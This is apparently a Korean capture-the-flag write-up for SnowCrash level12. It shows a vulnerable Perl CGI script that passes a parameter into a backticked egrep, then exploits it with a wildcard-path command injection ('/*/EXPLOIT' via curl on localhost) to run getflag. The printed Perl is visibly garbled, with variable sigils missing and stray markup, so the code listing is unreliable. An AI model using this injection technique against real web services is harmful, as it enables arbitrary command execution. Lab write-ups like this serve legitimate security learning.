# level12



# 풀이과정

### 겪었던 어려움

#### 풀이과정

기존에 주어진 level12.pl 파일을 읽었을 때 아래와 같은 코드가 나온다.

```
#!/usr/bin/env perl
# localhost:4646
# 이 행은 이 스크립트가 Perl 스크립트임을 나타내며, 4646번 포트에서 실행됩니다.
use CGI qw{param};
# CGI 모듈을 사용하여 웹 요청 파라미터를 처리할 수 있도록 합니다.
print "Content-type: text/html\n\n";
# 웹 브라우저에게 HTML 콘텐츠를 전송할 것임을 알립니다.
sub t {
 n = [1];
 xx = x_{0};
 xx = tr/a-z/A-Z/;
 # 입력받은 문자열 $xx를 대문자로 변환합니다.
 xx = s/\s.*//;
 # 문자열 $xx에서 공백 문자와 그 이후 문자를 제거합니다.
 # 이 구문은 $xx 문자열에서 공백 문자와 그 이후의 모든 문자를 제거하여,
 # 공백 문자 이전의 문자만 남기게 됩니다.
   # 예를 들어, $xx가 "ABC DEF GHI" 라면 이 구문 적용 후 $xx는 "ABC"가 됩니다.
 @output = `egrep "^$xx" /tmp/xd 2>&1`;
 # /tmp/xd 파일에서 $xx로 시작하는 행을 찾아 @output 배열에 저장합니다.
```

level12

```
foreach $line (@output) {
     (\$f, \$s) = \text{split}(/:/, \$line);
     if($s =~ $nn) {
         return 1;
     }
 # @output 배열의 각 행에서 $nn 문자열이 포함되어 있으면 1을 반환합니다.
 return 0;
}
sub n {
 if($_[0] == 1) {
     print("..");
 } else {
     print(".");
 # 입력받은 숫자가 1이면 ".."을, 그렇지 않으면 "."을 출력합니다.
n(t(param("x"), param("y")));
# 웹 요청의 "x" 및 "y" 파라미터를 전달받아 t 함수를 호출하고,
# 그 결과를 n 함수에 전달하여 출력합니다.
```

echo "getflag > /tmp/test" > /tmp/EXPLOIT 명령어를 이용해서 flag 값을 담을 /tmp/test 파일과 ./level12.pl 을 실행시킬 /tmp/EXPLOIT 파일을 만들어 준다. nc -lk 127.0.0.1 4646 를 통해서 4646임을 알 수 있다.

./level12.pl x="`/\*/EXPLOIT`" 를 입력하면 -bash: /tmp/EXPLOIT: Permission denied 라는 에러가 발생하게 되어서 chmod 777 /tmp/EXPLOIT 로 권한을 올려주고 curl '127.0.0.1:4646?x="`/\*/EXPLOIT`"' 이후 /tmp/test을 읽으면 원하는 flag 값을 알 수 있다.

### 정답

```
..level12@SnowCrash:~$ chmod 777 /tmp/EXPLOIT

level12@SnowCrash:~$ curl '127.0.0.1:4646?x="`/*/EXPLOIT`"'

..level12@SnowCrash:~$ cat /tmp/test

Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr

level12@SnowCrash:~$ nc -lk 127.0.0.1 4646
```

"g1qKMiRpXf53AWhDaU7FEkczr"

## 출처

level12 2